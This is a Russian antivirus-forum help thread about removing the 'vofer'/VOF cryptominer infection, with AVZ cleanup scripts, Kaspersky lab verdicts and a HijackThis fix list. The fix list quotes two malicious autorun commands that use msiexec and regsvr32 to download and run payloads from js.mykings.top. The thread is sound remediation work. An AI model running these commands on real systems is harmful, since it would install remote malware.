Перейти к содержанию
Правила раздела

Тоже проблема с vofer, Vof 0.0.1

Дмитрий Москавчук

От Дмитрий Москавчук
в Помощь в удалении вирусов

 Share

Рекомендуемые сообщения

Дмитрий Москавчук Новичок

Дмитрий Москавчук

Опубликовано
Опубликовано

у меня тоже проблема с vofer и Vof 0.0.1

Помогите решить проблему


Я сделал как писали выше, вот файлы с программы Farbar Recovery Scan Tool


.

Downloads.rar

Ссылка на комментарий
Поделиться на другие сайты
regist Корифей

regist

Опубликовано
Опубликовано

Здравствуйте!

- Проведите эту процедуру. Полученную ссылку после загрузки карантина virusinfo_auto_имя_вашего_ПК.zip через данную форму напишите в своём в сообщении здесь.

Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ (Файл - Выполнить скрипт):
 

begin
 ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
 ClearQuarantineEx(true);
 QuarantineFile('C:\Users\DNS\AppData\Roaming\Adobe\gfxm\msn.vbs', '');
 QuarantineFile('C:\Users\DNS\appdata\roaming\adobe\gfxm\sfx3\sclomer.exe', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\ForceUpdateVOF\ml.py', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\ForceUpdateVOF\python\pythonw.exe', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\ForceUpdateVOF\updater.py', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\hdprotect\wrt.vbs', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\soundman.exe', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\vofer\app.py', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\vofer\ml.py', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\vofer\python\pythonw.exe', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\Vofer2\IQmanager\app.py', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\Vofer2\IQmanager\ml.py', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\Vofer2\python\pythonw.exe', '');
 QuarantineFile('C:\Users\DNS\Desktop\Рабочий стол\Google Chrome.lnk', '');
 QuarantineFile('C:\Users\DNS\Desktop\Рабочий стол\Opera.lnk', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Mail.Ru.lnk', '');
 QuarantineFile('C:\Users\DNS\AppData\Roaming\Vofer2\updater.py', '');
 QuarantineFile('C:\windows\TEMP\{ACD7618A-8184-4D38-B861-FC14B3E510DD}.exe', '');
 QuarantineFileF('C:\Users\DNS\appdata\roaming\adobe\gfxm\sfx3\', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
 QuarantineFileF('c:\users\dns\appdata\roaming\forceupdatevof', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0 , 0);
 QuarantineFileF('c:\users\dns\appdata\roaming\vofer', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0 , 0);
 QuarantineFileF('c:\users\dns\appdata\roaming\vofer2', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0 , 0);
 DeleteFile('AVG-Secure-Search-Update_JUNE2013_TB_rmv.job', '64');
 DeleteFile('C:\Users\DNS\AppData\Roaming\Adobe\gfxm\msn.vbs', '32');
 DeleteFile('C:\Users\DNS\appdata\roaming\adobe\gfxm\sfx3\sclomer.exe');
 DeleteFile('C:\Users\DNS\AppData\Roaming\ForceUpdateVOF\ml.py', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\ForceUpdateVOF\python\pythonw.exe', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\ForceUpdateVOF\updater.py', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\hdprotect\wrt.vbs', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\soundman.exe', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\vofer\app.py', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\vofer\ml.py', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\vofer\python\pythonw.exe', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\Vofer2\IQmanager\app.py', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\Vofer2\IQmanager\ml.py', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\Vofer2\python\pythonw.exe', '32');
 DeleteFile('C:\Users\DNS\AppData\Roaming\Vofer2\updater.py', '32');
 DeleteFile('C:\windows\TEMP\{ACD7618A-8184-4D38-B861-FC14B3E510DD}.exe', '32');
 ExecuteFile('schtasks.exe', '/delete /TN "AVG-Secure-Search-Update_JUNE2013_TB_rmv" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "ForceUpdateVOF" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "ForceUpdateVOF2" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "IQmanager" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "IQmanager2" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "vofer" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "vofer2" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Vofer22" /F', 0, 15000, true);
 DeleteFileMask('c:\users\dns\appdata\roaming\forceupdatevof', '*', true);
 DeleteFileMask('c:\users\dns\appdata\roaming\vofer', '*', true);
 DeleteFileMask('c:\users\dns\appdata\roaming\vofer2', '*', true);
 DeleteDirectory('c:\users\dns\appdata\roaming\forceupdatevof');
 DeleteDirectory('c:\users\dns\appdata\roaming\vofer');
 DeleteDirectory('c:\users\dns\appdata\roaming\vofer2');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'gfxmF');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start1');
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 3, true);
RebootWindows(true);
end.

После выполнения скрипта компьютер перезагрузится.


 - Файл quarantine.zip из папки AVZ отправьте по адресу newvirus@kaspersky.com
Полученный ответ сообщите здесь (с указанием номера KLAN)

 

- Перетащите лог Check_Browsers_LNK.log Перетащите лог Check_Browsers_LNK.log из папки AutoLogger\CheckBrowsersLNK на утилиту ClearLNK. Отчёт о работе прикрепите.
 

Html5 geolocation provider [20120911]-->MsiExec.exe /I{12644DC5-2271-442B-816F-8CFFD3DDDF32}
Shop for HP Supplies [2016/09/11 13:56:43]-->C:\Program Files (x86)\HP\Digital Imaging\HPSSupply\hpzscr01.exe -datfile hpqbud16.dat

советую деинсталировать.

Повторите логи по правилам. Для повторной диагностики запустите снова Autologger.
 


+

O7 - IPSec: Name: win (2017/09/01) - {73152dce-b4ef-4e87-9326-819a34614160} - Source: Any IP - Destination: my IP (Port 135 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2017/09/01) - {73152dce-b4ef-4e87-9326-819a34614160} - Source: Any IP - Destination: my IP (Port 137 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2017/09/01) - {73152dce-b4ef-4e87-9326-819a34614160} - Source: Any IP - Destination: my IP (Port 138 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2017/09/01) - {73152dce-b4ef-4e87-9326-819a34614160} - Source: Any IP - Destination: my IP (Port 139 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2017/09/01) - {73152dce-b4ef-4e87-9326-819a34614160} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block

сами настраивали?

Ссылка на комментарий
Поделиться на другие сайты
Дмитрий Москавчук Новичок

Дмитрий Москавчук

Опубликовано
  • Автор
Опубликовано

KLAN-7852047656


отчет 

 

Сообщение от модератора Mark D. Pearlstone
Не нужно цитировать сообщения полностью.

Новая проверка

ClearLNK-2018.04.01_19.41.10.log

ClearLNK-2018.04.01_19.41.10.log

CollectionLog-2018.04.01-19.54.zip

CollectionLog-2018.04.01-20.25.zip

Ссылка на комментарий
Поделиться на другие сайты
regist Корифей

regist

Опубликовано
Опубликовано

 

 


Полученный ответ сообщите здесь (с указанием номера KLAN)
А где ответ вирлаба по файлам?

 

 


сами настраивали?
тоже не ответили.
Ссылка на комментарий
Поделиться на другие сайты
Дмитрий Москавчук Новичок

Дмитрий Москавчук

Опубликовано
  • Автор
Опубликовано

да, сам настраивал.


Вот что мне ответили:

Благодарим за обращение в Антивирусную Лабораторию

Присланные вами файлы были проверены в автоматическом режиме.

В антивирусных базах информация по присланным вами файлам отсутствует:
msn.vbs
Google Chrome.lnk
Mail.Ru.lnk

В перечисленных файлах обнаружена программа Riskware, которая может причинить вред вашему устройству:
sclomer.exe - not-a-virus:RiskTool.Win32.BitCoinMiner.ibyu

В следующих файлах обнаружен вредоносный код:
wrt.vbs - Trojan.VBS.Starter.hv
soundman.exe - Trojan.Win32.Scar.qpzj
Opera.lnk - HEUR:Trojan.WinLNK.StartPage.gena

Файлы переданы на исследование. Если результат исследования изменится, мы дополнительно сообщим вам по электронной почте.

Это сообщение сформировано автоматической системой обработки писем. Пожалуйста, не отвечайте на него.

Антивирусная Лаборатория, Kaspersky Lab HQ

cureit.log

Ссылка на комментарий
Поделиться на другие сайты
regist Корифей

regist

Опубликовано
Опубликовано

 

 


советую деинсталировать.
Почему не деинсталировали?

 

Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ (Файл - Выполнить скрипт):
 

begin
 ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
 ClearQuarantineEx(true);
 TerminateProcessByName('c:\windows\syswow64\lsmos.exe');
 QuarantineFile('C:\windows\help\lsmosee.exe', '');
 QuarantineFile('c:\windows\system32\tiltwheelmouse.exe', '');
 QuarantineFile('c:\windows\syswow64\lsmos.exe', '');
 DeleteFile('C:\windows\help\lsmosee.exe', '32');
 DeleteFile('c:\windows\syswow64\lsmos.exe', '32');
 ExecuteFile('schtasks.exe', '/delete /TN "{E909228D-1B65-4ABA-9727-931ECAA83714}" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "DealPly" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Mysa2" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Mysa3" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "SafeWeb" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "SafeWeb2" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "VOF" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "VOF2" /F', 0, 15000, true);
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start1');
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 3, true);
RebootWindows(true);
end.

После выполнения скрипта компьютер перезагрузится.

 - Файл quarantine.zip из папки AVZ отправьте по адресу newvirus@kaspersky.com
Полученный ответ сообщите здесь (с указанием номера KLAN)

 

"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):

O2 - HKLM\..\BHO: (no name) - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - (no file)
O2 - HKLM\..\BHO: (no name) - {9D717F81-9148-4f12-8568-69135F087DB0} - (no file)
O2 - HKLM\..\BHO: (no name) - {B164E929-A1B6-4A06-B104-2CD0E90A88FF} - (no file)
O2 - HKLM\..\BHO: (no name) - {D5FEC983-01DB-414A-9456-AF95AC9ED7B5} - (no file)
O2 - HKLM\..\BHO: (no name) - {DBC80044-A445-435b-BC74-9C25C1C588A9} - (no file)
O2-32 - HKLM\..\BHO: (no name) - {9D717F81-9148-4f12-8568-69135F087DB0} - (no file)
O2-32 - HKLM\..\BHO: (no name) - {B164E929-A1B6-4A06-B104-2CD0E90A88FF} - (no file)
O2-32 - HKLM\..\BHO: (no name) - {D5FEC983-01DB-414A-9456-AF95AC9ED7B5} - (no file)
O3 - HKLM\..\Toolbar: (no name) - !{09900DE8-1DCA-443F-9243-26FF581438AF} - (no file)
O3 - HKLM\..\Toolbar: (no name) - !{95B7759C-8C7F-4BF1-B163-73684A933233} - (no file)
O3 - HKLM\..\Toolbar: (no name) - !{fe704bf8-384b-44e1-8cf2-8dbeb3637a8a} - (no file)
O3 - HKLM\..\Toolbar: (no name) - {0EBBBE48-BAD4-4B4C-8E5A-516ABECAE064} - (no file)
O3-32 - HKLM\..\Toolbar: (no name) - !{09900DE8-1DCA-443F-9243-26FF581438AF} - (no file)
O3-32 - HKLM\..\Toolbar: (no name) - !{95B7759C-8C7F-4BF1-B163-73684A933233} - (no file)
O3-32 - HKLM\..\Toolbar: (no name) - !{fe704bf8-384b-44e1-8cf2-8dbeb3637a8a} - (no file)
O3-32 - HKLM\..\Toolbar: (no name) - {0EBBBE48-BAD4-4B4C-8E5A-516ABECAE064} - (no file)
O3-32 - HKLM\..\Toolbar: (no name) - {99079a25-328f-4bd4-be04-00955acaa0a7} - (no file)
O4 - HKLM\..\Run: [start1] = C:\windows\system32\msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q
O4 - HKLM\..\Run: [start] = C:\windows\system32\regsvr32.exe /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll
O18 - Protocol: dssrequest - {5513F07E-936B-4E52-9B00-067394E91CC5} - (no file)
O18 - Protocol: sacore - {5513F07E-936B-4E52-9B00-067394E91CC5} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers: 00asw - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O21 - HKLM\..\ShellIconOverlayIdentifiers: 00avast - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O22 - Task: AdobeControlUtil - C:\Users\DNS\AppData\Roaming\ADOBEC~1\admres.exe /S (file missing)
O22 - Task: DealPly - C:\Users\DNS\AppData\Roaming\DealPly\UPDATE~1\UPDATE~1.EXE /Check (file missing)
O22 - Task: RunAsStdUser_GameCenterMailRu - C:\Users\DNS\AppData\Local\Mail.Ru\GameCenter\GameCenter@Mail.Ru.exe -updated -lowermode "nativeroot=d:\программы\mail.ru\perfect world" "nativelauncher=d:\программы\mail.ru\perfect world\launcher\launcher.exe" /unique=280948502 (file missing)
O22 - Task: SafeWeb - C:\Users\DNS\AppData\Roaming\SafeWeb\python\pythonw.exe "C:\Users\DNS\AppData\Roaming\SafeWeb\ml.py" --APPNAME="SafeWeb" (file missing)
O22 - Task: SafeWeb2 - C:\Users\DNS\AppData\Roaming\SafeWeb\python\pythonw.exe "C:\Users\DNS\AppData\Roaming\SafeWeb\updater.py" (file missing)
O22 - Task: VOF - C:\Users\DNS\AppData\Roaming\VOF\python\pythonw.exe "C:\Users\DNS\AppData\Roaming\VOF\ml.py" --APPNAME="VOF" (file missing)
O22 - Task: VOF2 - C:\Users\DNS\AppData\Roaming\VOF\python\pythonw.exe "C:\Users\DNS\AppData\Roaming\VOF\updater.py" (file missing)
O22 - Task: \Microsoft\Windows Live\SOXE\Extractor Definitions Update Task - {3519154C-227E-47F3-9CC9-12C3F05817F1} - (no file)
 
Повторите логи по правилам. Для повторной диагностики запустите снова Autologger.

 

  • Скачайте AdwCleaner и сохраните его на Рабочем столе.
  • Запустите его (в ОС Vista/Windows 7/8 необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать") и дождитесь окончания сканирования.
  • Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[s0].txt.
  • Прикрепите отчет к своему следующему сообщению.


 

Ссылка на комментарий
Поделиться на другие сайты
Дмитрий Москавчук Новичок

Дмитрий Москавчук

Опубликовано
  • Автор
Опубликовано

 Re: Файл [KLAN-7856344792]

newvirus@kaspersky.com
Кому: Дима Москавчук
 
сегодня, 18:12
 
 
 
 
Благодарим за обращение в Антивирусную Лабораторию

Присланные вами файлы были проверены в автоматическом режиме.

В следующих файлах обнаружен вредоносный код:
lsmosee.exe - Trojan.Win32.BitCoinMiner.apk

В перечисленных файлах обнаружена программа Riskware, которая может причинить вред вашему устройству:
lsmos.exe - not-a-virus:RiskTool.Win32.BitMiner.qsa

Файлы переданы на исследование. Если результат исследования изменится, мы дополнительно сообщим вам по электронной почте.

Это сообщение сформировано автоматической системой обработки писем. Пожалуйста, не отвечайте на него.

Антивирусная Лаборатория, Kaspersky Lab HQ

.


Отсканировал

CollectionLog-2018.04.02-18.28.zip

AdwCleanerS0.txt

Ссылка на комментарий
Поделиться на другие сайты
regist Корифей

regist

Опубликовано
Опубликовано

@Дмитрий Москавчук, почему вас каждый раз по два раза надо спрашивать?

 

 

 


Почему не деинсталировали?

 

Программы/расширения от Mail.ru используете? И рассширения от Yandex сами ставили?
 

Ссылка на комментарий
Поделиться на другие сайты
regist Корифей

regist

Опубликовано
Опубликовано

  • Запустите повторно AdwCleaner (в ОС Vista/Windows 7/8 необходимо запускать через правую кн. мыши от имени администратора).
  • В меню Tools ->Options (Инструменты ->Настройки) отметьте:
    • Сброс политик IE
    • Сброс политик Chrome

    [*]Нажмите кнопку "Scan" ("Сканировать"), а по окончанию сканирования нажмите кнопку "Cleaning" ("Очистка") и дождитесь окончания удаления. [*]Когда удаление будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[C0].txt. [*]Прикрепите отчет к своему следующему сообщению


Внимание: Для успешного удаления нужна перезагрузка компьютера!!!.

Ссылка на комментарий
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти
 Share
Перейти к списку тем

  • Похожий контент

    • Devilhomer
      Проблемы при автобновлении
      От Devilhomer
      Здравствуйте, уже НЕОДНОКРАТНО замечал, что при обновлении программных модулей удаляются закладки Google Chrome, сделанные в безопасном режиме (они доступны, только в безопасном режиме). Не обращался по данной проблеме, потомучто не так их много было, но тут (при недавнем обновлении) пропали довольно важные
      Также хочется отметить ОЧЕНЬ длительное открытие вкладок при переходе в безопасный режим. Отсылал отчеты из приложения о данной проблеме, но пока не заметил существенных изменений по данному вопросу.
    • Михаил Лысов
      Проблема с ooo4ps и bitlocker
      От Михаил Лысов
      Заблокирован диск. Прошу помощи с разблокировкой. Скорее всего подобрали пароль. В системе только два пользователя.
      1.rar
    • Little_Wound
      Сбой задачи и проблема с поиском устройств
      От Little_Wound
      Здравствуйте!
      1. Установил KSC 15. Задаю поиск устройств (на машинах нет агента или кес) по диапазону ip адресов. Находит как то выборочно (машины часть на винде, часть на астре). По какому принципу идёт поиск и что может мешать ему "увидеть" машину в сети?
      2. Сделал Инсталляционные пакеты Kaspersky Network Agent for Linux aarch64 deb (Русский)_15.1.0.20748 и Kaspersky Endpoint Security 12.2 для Linux (Русский)_12.2.0.2412, создал задачу Задача удаленной установки приложения, но она отрабатывает с ошибкой: Удаленная установка на устройстве завершена с ошибкой: Installation script error. Чем вызвана данная ошибка?
       

    • Sqwerno
      Проблема с переустановкой виндовс
      От Sqwerno
      Добрый день.
      Это продолжение моей проблемы, на которую так никто и не ответил, приведу текст ниже;
      Добрый день. Сразу скажу, что логи и действия из статьи я выполнить чисто физически не могу, так как банально не могу войти в систему. Причины приведу ниже.
       
      Мой ноутбук, купленный с маркетплейса у каких то китайских производителей со сразу скачанной виндой потерпел "крушение " - я скачал вирус. На следующий день после скачивания программы я включаю ноутбук, жду пока загрузится система, и тут - он просто не загружается. Вечно загружает и все. Не стал унывать, зашел в среду восстановления и откатил через точку восстановления - благо она там была. Ждал около 4 часов, на что компьютер выдал ошибку - восстановление завершено безуспешно. После перезагрузки пк меня таки запустило в систему, на рабочем столе была ошибка того, что восстановления прошло с ошибкой. После минуты пребывания в ней вылез BSOD с ошибкой CRITICAL PROCESS DIED. Теперь так с каждой перезагрузкой. Пытался зайти в безопасный режим через горячую клавишу f8 и другие различные вариации - запускает обычную систему. Через среду восстановления - также. В командую строку также не могу зайти. Кроме сноса винды и восстановления через USB способов решения не вижу, но пока такой возможности нет, поэтому пишу это сообщение. Надеюсь, что вы сможете решить данную проблему"
      Не дождавшись ответа, я просто решил поставить новую систему.
      Скачал iso-файл, поставил. Начал процесс переустановки. На моменте выбора диска необходимо отформатировать диск, что у меня не получилось. Пытался удалить разделы, они просто не удаляются.
      Пробовал через diskpart, говорит, что отказано в доступе, хотя графа "только для чтения" выключена. Попробовал уже все, что есть на просторах интернета, уже начинаю сдаваться. Думаю, что проблема в битых секторах диска. Все это делал на установочной среде флешки.
       
      UPD: В биосе я также выключил Secure Boot
    • Nikita123
      Проблема со сменой языка на kaspersky endpoint 12.7.0
      От Nikita123
      Кто-нибудь  знает как сменить KES, на английский? Варианты shift+F12-временный не подходит. И как возможно было бы централизованно через KSC, сменить язык для endpoint. Вариант с переустановкой менее интересный, хотелось бы не такой радикальный.
×
×
  • Создать...